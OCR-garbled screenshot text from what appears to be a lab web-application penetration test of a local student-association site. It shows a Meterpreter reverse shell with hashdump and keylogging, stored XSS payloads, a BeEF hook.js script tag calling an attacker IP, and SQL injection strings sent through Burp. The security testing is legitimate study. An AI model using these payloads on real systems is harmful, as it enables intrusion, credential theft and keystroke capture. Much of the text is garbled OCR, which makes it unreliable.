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Applications  Places 8 Terminal May 2 09:56

163<UP, BROADCAST , RUNNING, MULTICAST> mtu 1500
Kali@kali: ~ Q
cess, none)
LHOST 192.168.162.137 yes The listen address (an interface may b
e specif
ied)

LPORT yes The listen port

Exploit target:

Wildcard Target

View the full module info with the info, or info -d command.

msfé6 exploit( ) > exploit

Started reverse TCP handler on 192.168.162.137:4444

Sending stage (175686 bytes) to 192.168.162.144

Meterpreter session 11 opened (192.168.162.137:4444 -> 192.168.162.144:500

17) at 2023-05-02 09:56:05 -0400
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windows 11 KaiL
@ | NSAGujsratState x v X Applications  Places 8 Terminal May 2 09:57
¢ c O D = localhost '
etho: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
a Kali@kali: ~

Priv: Elevate Commands

Command Description

WELCOME! getsystem Attempt to elevate your privilege to that of local system.

Priv: Password database Commands

Command Description

hashdump Dumps the contents of the SAM database
Upcoming Events Timestomp Commands

Command Description

Contactu timestomp Manipulate file MACE attributes

meterpreter > sharescreen
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ethd: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
a Kali@kali: ~
Command Description

getsystem Attempt to elevate your privilege to that of local system.

|
WELCOME! Priv: Password database Commands

Command Description

hashdump Dumps the contents of the SAM database

Priv: Timestomp Commands

Upcoming Events
Command Description

timestomp Manipulate file MACE attributes
Contactu meterpreter > sharescreen

Unknown command: sharescreen
meterpreter > screensharel
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Elevate Commands

» YouTube Music

Get family plan. YouTube Music ad-free and
background play for up to 6 household members. getsystem Attempt to elevate your privilege to that of local system.

Command Description

Subacrr

(O] Priv: Password database Commands
( cetitnow

@ Command Description

Hilory hashdump Dumps the contents of the SAM database

Priv: Timestomp Commands

Command Description

£ FULLVIDEO

A & £ 4 timestomp Manipulate file MACE attributes
0 Bedardeya (Full Video) Tu Jhoothi Tapu = @t & U Order fmmm

. ; keking preter i
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88 Applications  Places B8 Terminal May 2 10:03
imagine typing a user credentiast!
File  Edit  View

imagine typing a user credentials??

Kali@kali:

timestomp Manipulate file MACE attributes

mete > keyscan_start
Starting the keystroke sniffer ...
meterpreter > help keyscan_start
No help for keyscan_start, try -h
er > keyscan_start -h
keyscan_start <options>
Starts the key logger

OPTIONS:

-h Help Banner.
-v Verbose logging: tracks the current active window in which keystrokes
are occuring.

meterpreter > keyscan_dump

Dumping captured keystrokes...

<Left Windows>notepar<"H>d<CR>

imagini<“H>e typing a usernam<”H><“H><“H><“H>r credentials<Shift><Shift><Shift
><Shift><Shift><Shift><Shift><Shift><Shift><shift><Shift><Shift><shift><Shift>
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O+ localhost

NSA Gujarat State

First Name*

Email*

Gender*

select.
Category*
select

University*

Year of Arrival

G =

O+ localhost

NSA Gujarat State

First Name*

<script>alert(1)</script>

Email*

lance@gmail.com

Gender*

Male

Category*

ICCR

University*

Ahmedabad University, Ahmeda.

Year of Arrival

2022
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NSAMembers  Gallery ~ About  Login

Register Account

***Things you arel***

Middle Name* Last Name

Mobile (Nigerian)* Mobile (Indian)

DOB* State (Nigeria)*

mm/dd/

***Things you know!***
Level* Field of Study (specialization)*
select
Passport Number* Expiry Date

mm /dd/yyyy

Visa Number* Visa Expiry*
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Home NSAMembers Gallery About  Login

Register Account

***Things you arel***
Middle Name* Last Name

Lance

Mobile (Nigerian)* Mobile (Indian)

+2349925984331 +919925984331
DOB* State (Nigeria)*

09/09/1999 - Abia

***Things you know!***
Level* Field of Study (specialization)*

M.Sc Cyber Security
Passport Number* Expiry Date
465468798 09/09/2025
Visa Number* Visa Expiry*

£/ AE16886 PN VETCY
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Ahmedabad University, Ahmeda..

Year of Arrival

2023

€FRRO Expiry*
09/09/2025

Your current residence:*
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Browse... OIP jpg

a Copy:*

Browse...| Hello.pdf

i 2O CHBOeBE @
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O B o localhost,

NSA Gujarat State

Passport Number*

465468798

Visa Number*

546516886

Next of Kin (Nigerian)*

Adu

Password*

Py

***Things you havel***
Admission Copy:*

Browse...| Hello,pdf

International Passport

Browse...| Hello.pdf

Expiry Date

09/09/2025

Visa Expiry*

09/09/2025

Mobile Number*
+919925984331

Confirm Password*

eFFRO Certificate

Browse...| Hello.pdf
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Home  NSAMembers  Gallery Login

09/09/2025

\ 546516886

‘Visa Expiry*
09/09 /2025

| 09/09/2025

Next of Kin (Nigerian)*
| Adu

Mobile Number*
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NESU

Password*
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Confirm Password*
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ii. Identification at the new topic forum page

@ || NSAGujaat State x | [ /C/UsersemmanDocuments. X+ 9 5

D # localhost 8 v

NSA Gujarat State NSAMembers  Gallery ~ Forums  About  Omerv

Forum List

+ Create New Topic

Need For Annual Meeting ASAP!

1wanted to write and forwar motion for yor d opinion, please. 1 see the dear need for such, looking at the happenings everywhere withing the
ountry and itted students also together and share some comman ideas for our development and prosperity.Thank you all.

T e

@ | NSAGujsrat State x | + .

O D = locanost 8w © =

New Topic

Title
<script>alert(1)</script>

Description

Normal * T A B /7 U =

This is just a tria
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¢ X O D # localhost/nss/inde e

@ tocathost

1
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28 Applications  Places @ Terminal Apr26 13:34
n kali@kali: ~
[sudo] password for kali:
[i] Something is already using port: 3000/tcp

éOMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
4315 beef-xss 11u IPv4 32232 0t@ TCP %:3000 (LISTEN)

PID PPID C STIME TTY STAT TIME CMD
4315 1 0 12:42 2 Ssl 0:16 ruby /usr/share/beef-xss/

] GeoIP database is missing
Run geoipupdate to download / update Maxmind GeoIP database
Please wait for the BeEF service to start.

*] You might need to refresh your browser once it opens.

L Sl<script src="http://<IP>:3000/hook.js"></script>]

[

[

[#] Web UI: http://127.0.0.1:3000/ui/panel

[*

[*] Example: <script src="http://127.0.0.1:3000/hook.js"></script>

o beef-xss.service - beef-xss
Loaded: loaded (/lib/s stemd/system/beef-xss.service; disabled; preset: disabled)
Active: active (runn ) since Wed 2023-04-26 12:42:12 EDT; 5@min ago
Main PID: 4315 (ruby)
Tasks: &4 (limit: 4568)
Memory: 88.8M
CPU: 16.138s
CGroup: {iystem.slice/beeffxss.service

Apr 26 12:42:14 kali beef[4315] 24 CreateAutoloader: migrated (0.0005s)
Apr 26 12:42:14 kali beef[4315] 25 CreateXssraysScan: migrating
Apr 26 12:42:14 kali beef[4315]: -- create_table(:xssraysscans)
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To direct input to this VM, move the mouse pointer inside or press Ctrl+G | ®

=r Q Search .‘i? H'_‘HVEED- O ~ Qoo LIMe

4/26/2023

)

File Edit View VM Tabs

kali1
25 Applications  Places &) Firefox ESR Apr26 13:35
BeEF Control Panel X NSA Gujarat State
« C @ O 192.168.162.131/r
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Kali Linux

Tabs
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& Kali Tools

Places

& Kali Tools

Help ||

© Firefox ESR
NSA Gujarat State
8.162.131/r

% Kali Docs W Kali Forums X Kali NetHunter & Exploit-DB

ve the mouse pointer inside or press Ctrl+G

o ® @ amog -

Tabs

© Firefox ESR
NSA Gujarat State

192.168.1

% KaliDocs W Kali Forums X Kali NetHunter % Exploit-DB

NSA Gujarat State

First Name*

Email*

Gender*

select

Category*

To direct input to this VM, move the mouse pointer inside o press Ctrl+G

m Q Search

in m & e moac

Apr26 13:37

Email

Password
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Google Hackin
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Register Accoun

*#+Things you arel*#*

Middle Name* Last Name

Mobile (Nigerian)* Mobile (Indian)

DOB* State (Nigeria)*

mm/dd/yyyy

*#+*Things you know!*+*
Level* Field of Study (specialization)*

select.
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Gali Linux @ Kali Tools & Kali Docs

© Firefox ESR

NSA Gujarat State

+
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N Kali Forums & Kali NetHunter & Exploit:

NSA Gujarat State

First Name*

<script sre="http://192.168.162.137

Email*

lance@gmail.com

Gender*

Male

Category*

input to this VM, move the mouse pointer inside or press Ctrl+G.
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NSA Gujarat State

First Name*

Apr26 13:41

Register Accoun

*#%Things you arel***

Middle Name*

Lance

Mobile (Nigerian)*

+2349925984331

DOB*

09/09/1999

#**Things you know!**#

Level*

M.Sc.

Apr26 13:41

gDB

*#+Things you arel*#*

Middle Name*

P://192.168.162.137:3000/hook js"'>| Lance

Email*

lance@gmail.com

Gender*

ale

Category*

ICCR

pointer inside or press Ctrl+G

mfdemoa

Mobile (Nigerian)*

+2349925984331

DOB*

09/09/1999

***Things you know!***

Level*

Home  NSAMembers  Gallery

Last Name

Mobile (Indian)

+919925984331

State (Nigeria)*
Abia

Field of Study (specialization)*
Cyber Security
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Last Name

Mobile (Indian)

4919925984331
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Abia
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Cyber Security
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Adu

Password*
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Admission Copy: *
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International Passport
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NSA Gujarat State Home NSAMembers Gallery About  Login

Register Account

***Things you arel *+*
First Name* Middle Name* Last Name

<script>alert(1)</script> Lance

Email* Mobile (Nigerian)* Mobile (Indian)

lance@gmail.com +2349925984331 +919925984331

Gender* DOB* State (Nigeria)*

Male 09/09/1999 Abia

***Things you know!***
Category* Level* Field of Study (specialization)*

ICCR M.Sc Cyber Security

University* Passport Number* Expiry Date

Ahmedabad University, Ahmeda 465468798 09/09/2025

Year of Arrival Visa Number* Visa Expiry*

2022 £/ AE16886 000012025

CmexEA ~
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NSA Gujarat State

Year of Arrival

2023
eFRRO Expiry*
09/09 /2025

Your current residence:*

NESY

Picture (.png, .jpg, -jpeg)

Browse...| OIP jpg

Visa Copy:*

Browse... | Hello.pdf

* localhost/nsa/submit php

= 0= localhost

NSA Gujarat State

so-CcoBexEA

Visa Number*

546516886

Next of Kin (Nigerian)*

Adu

Password*

ssss

#*%Things you have!***
Admission Copy:*

Browse...| Hello.pdf

International Passport

Browse... Hello.pdf

Contact us

Visa Number*

Home  NSAMembers Gallery About  Login

Visa Expiry*

09/09/2025

Mobile Number*
+919925984331
Confirm Password*

sses

eFFRO Certificate

Browse...| Hello.pdf

Home  NSAMembers  Gallery About  Login

Visa Expiry*

| 546516886

Next of Kin (Nigerian)*

09/09/2025

Mobile Number*

(=]

| adu

4919925984331
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Confirm Password*

@ locathost

gistration has been successful. You can onl
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¢ D # localhost:

NSA Gujarat State Home

Upcoming Events

Contactus

+917046826960, +2348039283790

Gujarat State

= localhost,

NSA Gujarat State Home

NSA Members

, <script>alert(1)</script> Fero , <script>alert(1)</script> Lance

fero com
R Phone: +2349925984331

versity, Ahmedabad versity: ab versity, Ahmedabad
Address: ) Address: NFSU

Adam, Omer Sedeq

omer@sudan.com

Mitigation at the new topic forum page

Login

NSA Gujarat Stat:

Login

, <script>alert(1)</script> Lance

Phone: +2349925084331
State: Abia

Batch: 0000-0

University: Ahmedabad University, Ahmedabad
Address: NFSU

Alkali, Addama Musa

ahmadjajere1@gmail.com




3. Reflected XSS — This field is not vulnerable to it

@ | NSAGujsrat State

) < = localhost

NSA Gujarat State Home  NSAMembers Gallery Forums About  OmerAdamv

NSA Members

<script>alert(1)</script>

Adam, Ahmad Kaltum Adam, Omer Sedeq Alkali, Addama Musa

ahmadj

babaganajajere2022, m omer@sudan.com @gmail.com

Phone: 0909944228 Phone: 09033224455 Phone: 0903321
state: Abia state:
Batch: 03-18 Batch: 2021-12-09
versity, Ahmedabad University: Atmiya University, Rajkot. ’ University: Atmiya Univer
Address: sabulun wanka yand n Address: sabon Garl ward
vanada sensitive skin. PALB 1143 Gandhinag

. Jajere, Ahmad Adamu Kawuwa, Gamboru Mandalma Williams, Mike D
R Q sen AyL S0 L €\me ~ Qe

Gujarat State

< 7 O D # localhost,

NSA Gujarat State Home  NSAMembers Gallery Forums About  OmerAdamv

NSA Members

script>alert(1):

Contactus

+91704,6826960, +2348039283790

~Cme ~ Qu Ze




File inclusion (The system does not have this vulnerability)

D = localhost & 8 =

NSA Gujarat State Home  NSAMembers Gallery Forums About  OmerAdamv

Gallery

C G e 2O CHB OB ™ ~ Qe

O # localhost,

NSA Gujarat State Home  NSAMembers Gallery Forums About  OmerAdamv

WELCOME!

Upcoming Events

Contactus

+917046826960, +2348039283790
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Home  NSAMembers Gallery Forums  About  OmerAdam~

NSA Gujarat State

Contact us

+91704,6826960, +2348039283790

~ e

¢ ¢} O O 2 localhest

Home NSAMembers Gallery Forums About  OmerAdamv

NSA Gujarat State

Contact us

26960, +2348039283790
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NSA Gujarat State Home  NSAMembers

Contact us

+917046826960, +2348039283790

HSA Gujara

> O O & locahost

NSA Gujarat State Home  NSAMembers

Contact us

+91704,6826960, +2348039283790

Gallery

Gallery

Forums

Forums

About

About

Omer Adam v

Omer Adam v

~ O
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726,
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NSA Gujarat State Home  NSAMembers

Contact us

+917046826960, +2348039283790

HSA Gujara

> O O & locahost

NSA Gujarat State Home  NSAMembers

Contact us

+91704,6826960, +2348039283790

Gallery

Gallery

Forums
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About

About

Omer Adam v

Omer Adam v
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NSA Gujarat State Home  NSAMembers

Contact us

+917046826960, +2348039283790

HSA Gujara

> O O & locahost

NSA Gujarat State Home  NSAMembers

Contact us

+91704,6826960, +2348039283790
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Gallery
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About

About

Omer Adam v

Omer Adam v
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NSA Gujarat State Home  NSAMembers

Contact us

+917046826960, +2348039283790

HSA Gujara

> O O & locahost

NSA Gujarat State Home  NSAMembers

Contact us
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HSA Gujara

O O # localhest

NSA Gujarat State Home  NSAMembers Gallery Forums  About  OmerAdam

Contact us

+917046826960, +2348039283790

J O &= localnost

NSA Gujarat State Home  NSAMembers Gallery Forums About  OmerAdamv

Contact us

+917046826960,

(=)

112w
wasans @




@ | NSAGujat Stste x|+ ~ a

J O = localhest, w ()

NSA Gujarat State Home  NSAMembers Gallery Forums  About  OmerAdam

Contact us

+91704,6826960,

4. SQLi (not vulnerable)

NSA Gujarat State Home  NSAMembers  Gallery Forums  About v

Upcoming Events

Contact us

+917046826960, +2348039283790
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Upcoming Events
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httprfloealh

fttpisAlocalhost

fttpisAlocalhost

, Emmanuel Fj
Tance@gmail.com

Phone: +23499259

state: Abia

Batchi 0000-00-00

University: Ahmedabad University, Amedabad.
Address: N

Adam, Omer Sedeq

dan.com

We 20O

Coe EmA

SEATipVS.
fnsafindexphpTpage=alumni list

Jrsafadmin/ajax,php7action=get_cart_.

fhsaadmin/assets/uploacs 234992

Jnsaradmin/assets/uploads/ 16626764,

State: Abia

Batch: 0000-00-00

University: Ahmedabad University, Ahmedabad.
Address: NFsU

Alkali, Adama Musa

ahmadjajerel @gmail.com

- o X%

Extensions  Learn (B settings

Extension Comment

il

INSA Gujarat State

04 Not Found
Hot Found

Kaltum
@gmail.com

38
state:
Baich: 2023-08-02

University: Ahmedabad University, Ahmedabad.

Address: NFSU

Jajere, Ahmad Adamu

ahm Si@nfsuacin




Repeater Window Help Burp S
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Dashboard  Target  Prey  inrucer  Repeater  Collaberator

Extensions  Learn

Decoder  Comparer  Logger

Sequencer

{G) Proxy settings

rtercept  HTTR history  WebSockets histary

Filter: Hiding CSS, image and general binary content
Hast Method Params  Edited Length  MIMEtype  Extension Comment
XML rtml

GET

fsuccess tidPipne

hitp:ficletectportalfirefox.com  GET v
success tt?ipvs v
v
v

http:detectportslfirefox. com
hitplocalhost
hitpilocalhost
hitp:ocalhost
hitpr/lacalhost

Jrsafindex phpTpage=alume ist NSA Gujarat State
Jnsafadmin/ajaxphpTaction=get cart...
etsfuploads/234

ploacs/ 1

04 Not Found
04 Not Found

Inspector

Request
Rende: Request atributes

Raw  Hex
i 1ise BTTR/1.1

GET /nsa/ indss. php?page=alum
| -athost ‘ N e
Agent: Mozillass.D (Windows NT 10.0: Vind: open (=
19.0) Gecko/20100101 #1eetox

Request cookies
nl, applicat ion/xml ;g=0 1981 08:52:00 GHT

Request headlers

Bl Tpage=homs Response headers
pICRAI0TmERE

, Emmanuel Fj Kaltum
Jance@gmail.com @gmailcom

¥SA Gujarat State

0 matehes 0 matehes
58
Batch: 2023-08-02
University: Ahrmedabad University, Ahmedabad.

Address: NFSU

State: Abia

Batch: 0000-00-00

University: Ahmedabad University, Ahmedabad.
Address: NFSU

Phone: +23499259

University: Abmedabad University, Ahmedabad.
Address: NFSU

Jajere, Ahmad Adamu

Adam, Omer Sedeq Alkali, Adama Musa
omer@sudan.com ahmadjajeres@gmailcom

we~0cCde

oy em
W oo @

- o x N a

5 - Temparary P

Settings

% | + Burp Project Intruder Repeater Window Help

Dashboard  Target  Prexy  Intrucer Callaborator

Comparer  logger  Edensions  Learn

Sequencer  Decodler

Target: http://loealhost /5
wp : -

Request altributes

Response Inspector
Raw

Request query parameters

Request body parameters

ml+sml, application/uml;q=0.8, in
Request cookies

Request headers

Kaltum
smail.com
o matches 3

2G>

0 matches
38

Ready

Phone: +13409259.
State: Abia
Batch: 0000-00-00

University: Ahmedabad University, Ahmedabad.

Address: NFSU

Adam, Omer Sedeq

omer@sudan.com

W e D

State: Abia
Batch: 0000-00-00
University: Ahmedabad University, Ahmedabad.

Address: NFSU

Adama Musa

jere1@gmail.com

Batch: 2023-08-02
University: Abmedabad
Address: NFSU

Jajere, Ahmad Adamu
ahmad.mscs2151@nfsu.ac.in

iversity, Amedabad.
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Dashboard  Target  Proxy  ntruder  Repester  Collaborator  Sequencer  Decoder  Comparer  Logger  Extensions  Leamn {5} seuings
1e 4 Qi
BERG o <> Target Wginocathest /P viTen (3)
am - -
reawet reponse a nspector WD T © @ x
Prefty  Raw  Hex B ' = ety Raw  Hex  Render Bw =
1BET /maal index.phptpage=alumi_List' or '1'=' 14— HTTR/1.1 T HTTP/1.1 400 Bad Request
2 Bost: localhest Dat: « 28 Apr 2023 18:12:0€ GHT
5 Daer-Agenc: Mozilla/S.0 (Windows NT 10.0; ¥inéd: xéd; rv:l09.0) Gecko/Z0100101 Firefox/112.0 Server: Apache/2.4.51 (Wintd| OpenSSL/1.1.1p PHP/G.2.0
4 Accept: ctexc/html,application/xhtml+xml,applicacion/xml;q=0.9, image/avit, image/vebp, */*; q=0.8 Content-Length: 325
< [Accepr-Languags: en-US,en;q=0.5 Connectlon: close
£ xccapr-Encoding: gaip, deflate ¢ Contenc-Type: text/huml; charseteiso-8858-1
7 Connection: close 7
4 Reterer: http://localhost/nsa/index.php?page=home # <!DOCTYPE HTML PUBLIC "-//LETF//DTD HTNL Z.0//EN">
% Cookie: 1 3 1vp, Trskd 5 <heml>
PHPSISSID=51h5guS8n0q5LpréehThleniDa <head»
Tporade-Insscuzs-Bequesta: 0 eeleles
Sec-Ferch-Dest: document 400 Bad Request
2 Sec-Fetch-Node: navigate </eitle>
Sec-Fetch-5ite: same-origin 11 </headr
Sec-Feton-vaer: 21 <woay>
s L
Bad Bequest
«/nix
13 >
Your browser sent a requeat chat this ssrver could mot underscand.<pr />
</p:
<hes

<addesas
Apachs/2. 4.5 (Vin€d)
</addrean>
</body>
</homl>
12

OpenSSLAL.1.Ip PHP/G.2.0 Server ot localhost Pert 60

Applying changes

@B €[] [searn omatches | (S} (€3] | searcn 0 matches
Done 531 bytes | 0 millis
- & - o sna2em
mn Q sen Wow B “=ChelEm B S i @
E surp Project intruder Repeater Window Help Burp Swite Community Edition v2023.3.5 - Temporary Project - -] x
Dashboard  Target  Prowy  Intruder  Repeater  Collaborator  Sequencer  Decoder  Comparer  logger  Extensions  Learn {5} Settings
=0 + Qi
@) e ([<¥][> 0 Target: http://localhost /5
Response = = jspector D =
Hex Bnr Pretty  Raw  Hex  Render anwr Request attributes. 2 v
GET /nsa/ index.DhD7pagesalumni_List'+ors’ 1'834° 1323-- HTTR/1.L T BTTR/L.1 200 OF
Hoat: localhost 2 Data: Fri. 29 Apr 2003 19:12:58 ONT
User-Agent: Mozilla/5.0 (Vindows NT 10.0; Win€d: x64; rvil0S.0) Gecko/20100101 Firefox/112.0 3 Serves ache/2.4.54 (VinE4) OpenSSL/L.1.1p PHP/8.2 Request query poramekers 1 >
Accept: text/htal, application/<html+sml, applicaticn smliq-D. 8, inage/ avit, image/ webp, */ *1qe0. 3 HePowszed-By: PHE/D.Z.
Accept-language: en-US,ensqeD-5 © Expaces: Thu, 18 Nov 1S D8:53:00 GNT Request body parameters D -
& Accept-Eneoding: gaip, deflace ¢ Cache-Control: no-store, mo-cache, must-revalidate
7 Connectlon: close 7 Pragna: no-cache
5 Referer: hucp://localhost/nsalindex.php?page=home 5 Connection: close Request cookies 2 v
s Cooleie, INBLETexSytiTes TXSkd7EvTE288nInaXSuGKe | O Concemc-Type: text/heml; charsersUTF-8
+ PHPSESSID=53hSqgSan0qsépr E=hThoens0a 10 Content-Lengeh: 14128
. 1 Request headers 3w
ne 12 <'DOCTYPE hemi>
navigare 13 <ntml lang=env> "
same-0rigin <weTA ChARSeC="urt-g /> L= =z 2
En anta pore” N initial-scalssl, shrink-to-fitenc® />
<weta names*description® contente®" />
<mmta name-*author® comtent="" /.
<titier
NSA Gujarat State
ricies
<1< Tavicon--
<link relsmicon® vypes"image/x-icon® hrefamassecs;img/favicon.icoh />
- Fone esome icons (free versiom-—»
22 cseripe sreevhreps:/fuse.foncawesome.com/releases/vh. 13.0/35/all. 5% croasorigin=ranonymousts
Waceip
cte- Google fomea-->
<1in +//tonta. gooaleant Iy=herr 00,700% £
s
25 <liok hrefer
ety il £400,100, 3005t al ic, 400italic, 700, T00italic
" rel=tatyleahescr type-itexc/cas® />
<1o- Thicd party plugin CSS-r
E <link href="admin/assets/css/jquery.dacecimepicker.min.cas” rel="scylesheec">
28 clink hretew
heeps://ednis.cloudflare.com/ajax/ Libs/magnific-popup.js/1. 1.0/magnific-popup.min.css"” rel=*
stylesheee™ /3>
ii- Core theme C55 (includes Bootserap)
ik a - » _casw relsn
atyleshesc” />
31 <link href==css/styles.css” rel="styleshesc” />
32 <link types"rext/css" relsvstylesheer” brafs"admin/assevs/ces/3qusry-te-1.4.0.cas"s
33
3% <link href-admin/asssts/cas/selectI.min.cas” pele"stylesheets
36 <acrips sccevadminassecs/vendor/jquery/ query.min. e
<ncripes
37 escript srcsvadmin/assets/vendor/hootstrap-daceplcker/Ja/bootatrap-datepicker . ja"s
</uceipts
<script eypesntext/javascript® srceeadmin/asseta/is/selectd.min.jan
</acrint>
@8« > omatches | (B} (€[ | searen 0 matches
Done 14,457 bytes | 143 il
o - 1waem
8 Qsem e 20T CtmeEmHASE = L vl
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Dashboard  Target  Prowy  Intruder  Repeater  Collaborator  Sequencer  Decoder  Comparer  logger  Bxtensions  Learn {3 settings

1%+ Q
B3 oo (< Target: hitp//localhost /& HTTPN (2)
0= " | ngpecor 20 T = @ x

Request Response
Raw _ Hex B = ey Raw b Render B " = neuestawibues : o~
GET /msa/ Index.php?page=alumni_liat' vor+' 1'83d" 1N23-- HTTP/1.1 X-Powered-By: PAF/8.2.0
2 Home: localhost % Expires: Thu, 19 Nov 19BL 08:52:00 GHT
3 User-Agent: Morilla/S5.0 (Windows NT 10.0: Winéd: x€4; rv:108.0) Gecko/20100101 Firsefox/112.0 € Cache-Control: no-stors, no-cache, must-revalidarve FequEST query paramesers i ~
% Aecept: eexe/heml,application/xhemlszml, application/eml;qe0. 8, inags/avit, tmage/usbp, +/ *1qe0.0 Fragna
< Accept-Language: en-US,en;q Comneezion: close Request bady parsmeters 0 v
¢ Accepr-Fnceding: gaip, dstlace © ComEent-Type: Text/REmL: CRArseT=UTF-8
clome Contenc-Length: 14128
://10caLhost/ nsa/ Lnaex.. phn 7page=homs 1 Request cookies B -
S Coakie: BEEFHOOK=SKZXQ:RINQTunwZzV5QRDLEIINALETixSYNTx) 1vp30Ral0 TxSKA7EVTL280nT ke | 1
: PHPSESSIDe5)hSagSindqsepsekThOen)Oa 1 >
. aetan p Request headers 3 v
1 viewport” content="yidthedevice-wideh, initial-scalesl, ahink-to-fit=no®
deacription® concent="" /> Response headers s v
auchor” concent="" />
15 B NSA Gujarar State
20 einr reimmicont typ x-1eone /A seon >
21 <1-- Tomt Avesome icons (free ve >
€SCEIPT SECS"BULDS://uSe.LoNTAeSOmS. Com/Ieleases/vS, 13.0/98/a11,98% CONSOELGIASmAnamALETs
</sceipe> an
<1-- Google fonts-->
<link hreg="htepa://fonts . cam : . San=:400,700" £el="  Sendto intruder ctrtel
Send to Repeater culer
com/can?fami1y=Nerx iveather: 400,300, 3004cal ¢, A00italic, 700 Send to Sequencer

"I
26 «i— Third party plugin CS5-——> send to Comparer

27 <link href=*admin/assets/cas/Jquery.datstizepicker.min css® reletatylesheseis Send to Decader

28 elink hreg=

dna.clouds Lare . com/ ajax/ 1 1ha/magnit1c-popup. 18/ 1. 1.0/ mAGnT ie-popup.man. 3 Show response in browser

<1-- Cors theme CSS (iNCludes BOoTatrap) Request in browser

p-datepicker/css/bootatap-datspickes

30 <link href"adminsassets/vendor/Boots ¥ Engagement tools (Pro version ony] >
styleshest” />
31 <link href="css/styles.css® cel="atyleshest® /> Copy i+
ek e feman rel " #assets/can/ jquery-ce-L.4.0.cas"> e
31 <link href="admin/assecs/cas/meleccl.min.can” rel="acylesheec"s Copy as curl command
scripe sres“admin/assets/vendor/ jquery/ jquery.min. "> Copy tofile
</mceipe> ) ) ) Save ftem
37 emcript sre-tadmin/asasta/vendor/bootstrap-dacep 33/ booratrap-dacer qas
</mcripts Save entire history

Paste URL as request

BCLIDT CyDesTTeXT/JavASCEIDE® SECTadminassets/1s/selectZ.min.ia">
</actint> 2dd to ste map
<mcript type=Tiext/javascript® mc-"sdmin/sssets/js/jquery.dstetimepickes.fullmin.) G0
<aceincs i ot
@B [¢][2] [s0 omaches | (S} (€[] [searcr - culec
Done V7 bytes | 143 mills
~ e Message editor decumentation o
Burp Repeater documentation 422023
@ | NSAGujaratState X | @ NewTb x|+ v - 8 x
(o] Q httpyflocalhost/nsa/indexphp?page=alumni_list +or+'1%3d"1%23-- > ©@ 9
B anarks..
%) Imporebookmark... @ Getting St ([ o0 et Insa/index phpTpage=alumn st +or+ 1 %3d1%23 — Vik
= e & @
histme searchwetn: G b @ w & O Q 8

a - B o i 9 © v

Amazon Trvago Tocalhost YouTube Facebook Wikipedia Redoit Titter
sponsored sponsored

Recommended by Pocket Learn more

sapiens.org - 2 min mentalfioss.com - § min nautiLus - 18 min
Why These Hong Kong Urbanites 11 Extinct Foods From History The Race to Colonize Mars

Are Farming From Ansault pears to passenger pigeons. Perpetuates a Dangerous Religion
An anthropologist takes readers inside a you'll likely never find these delicades from We can leam about the universe without
Hong Kong ecovillage. revealing a small days past on a menu ever again. conquering it

but thriving movement built around food..
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' Target: hitp://localhost

= - %
Request Response Inspector D <

‘= HTTR/L.L

108.0) G 20100101 Fir
0.8, imags/ svif, ima

5.0 (Windows NT 10.0; Winéd: x64
Lication/xhtml+sml, applicat isn/

cept-Encoding: gsip,

Applying changes




Help E E v a - 85 x

Bup Project itruder  Rep
Dashboard Target Proxy Intruder Repeater Collaborator Sequencer Decoder Comparer Logger Extensions. Learn Settings

| Target: hitpif/localhost /' HITRN (2)

= = | jnspecor =3 X

Response
w s nh s Rec t attributes 2 ~
0i_limc' -~ BTTR/L.L
(Vindows NT 10.0: Winéd: =84 les 0100101 Firefox/1 o o R G e - >
n/xheml+xml, application/eml; q=D. 9, inags/ avit, ima +rraeD.8
Request body parame 0~
Request cookies -
NTE3 1 html: chas -8
14106
Request headers ER
Response headers s v
seam Send to Infruder -+
Send to Repester cu
. Send 10 Sequencer
jle tonca . 3
ink href="hctp foncs. g pls a7tamily=HerriveathersSan ~ S€Md 10 Comparer
" Send to Decoder
Shaw respanse in browser
IUErY. GATET LRADICKEL . DIN, 33" TelTvATy gagement tocls [Pra version only)
ajax/ Libs, -pop 18/1.1 i -
Copy URL
S (includes B il
a/assets/vendar £/can/bootatrap-d 35 curl command
Save entire history
Paste URL as request
4dd 1o site map
picKer/1 strap-d
O <2 omahes | (DG ¢ 2
Don Message editor documentation
Burp Repeater documentation
Q J BV 5 2
e x NSA Gujerat State. X NSA Gujarst State. x + A a x
€ ] O O & iocahost, w =
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Response
n =
_lisef- BTTRALL
(Windows NT 10.0; Winéd: xéd k0/20100101 Firefox/112.0
n/xheml+xml, application/eml; q=D. 9, inags/ avit, ima +rraeD.8

4T3 1 t/ bt
1a11e
jle tonta

ink hre="hcopa://foncs
(B} 0 mat Q)
@« > o matches | (3
Done

Q searcn ST

e x NSA Gujerat State. X NSA Gujarst State. X INSA Gujarst Stste ® +
€ ] O O & localhest,

NSA Gujarat State Home

Contact us

+91704,6826960, +2348039283790

ludes B

Target: http://localhost
=0

Inspector

Rec

REqUEST query parameters

Request body parame

Request cookies

char

Request headers

headers

Respensi

cromsorig:

-ndor aa” rele"

NSAMembers

Gallery About

Forums

~ Q®

-]

Sattngs

wen (2

1145 M
/2802023

x

°




Bup Project ntruder  Reps Help [ Edtion v . - 8 x

Dashboard  Target  Proxy  Inruder  Repester  Collaborator  Sequencer  Decoder  Comparer  logger  Extensions  Learn Settings

. Target: http://localhost /P HITR/ (2)

. x
Response Inspectar D <

(Windows NT 10.0; Winéd: =64 0100101 Fir
n/xhemlsxml, application/uml;q=D. 8, imags/ avif, ima;

NTE3 1 html: chas
14130
cromsorig: .
jle tonca
inic hret="hcopa://toncs. g ” a?tami ly=Herx Iveather +Sans: 400 e leshee
00, Applying changes
5 (includes B
a/assets/vendar ©/can/bootatzap-datepicker .cas” rel="
query-te-1.4.0.cas">
picKer/1 trap-dacepicker. 18"
O ¢ > omatches | (2
Done
a 3 ST ] e
e x NSA Gujerat State. X NSA Gujarst State. X INSA Gujarst Stste X NSA Gujarat Stste x + A a x
€ ] O O & iocahost, w =
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: Target: http://locathost [P HTTEN (3)
- x
Request Response Inspector D .
Raw  H n = =
anni_1 3o TR
O (Nindows NT 10.0; Wingd; xéd; rw:ios ks/20100101 10
Licat ion/xhtml +xml, applicat ion/xml;qe. 9, image/avit, image,
noUS, ensqe0. &
1p, detiace
xt/heml; chac
14130
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Target: hitp//localhost /& HTTPN (2)

Response Inspector D X

HTTP/1.1

0 (Windows NT 10.0; Winéd: =64 108.0) Gecko/20100101
Lication/xhtml+xml, applicat ion/xml;q=0.8, imags/avit, image,

n-US, en;q=0. &
ip, detlace

Applying changes
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amni_1 L00k23-- KTTP/1.1
0 (Windows NT 10.0; Winéd; xfd; rv:108.0) Geck
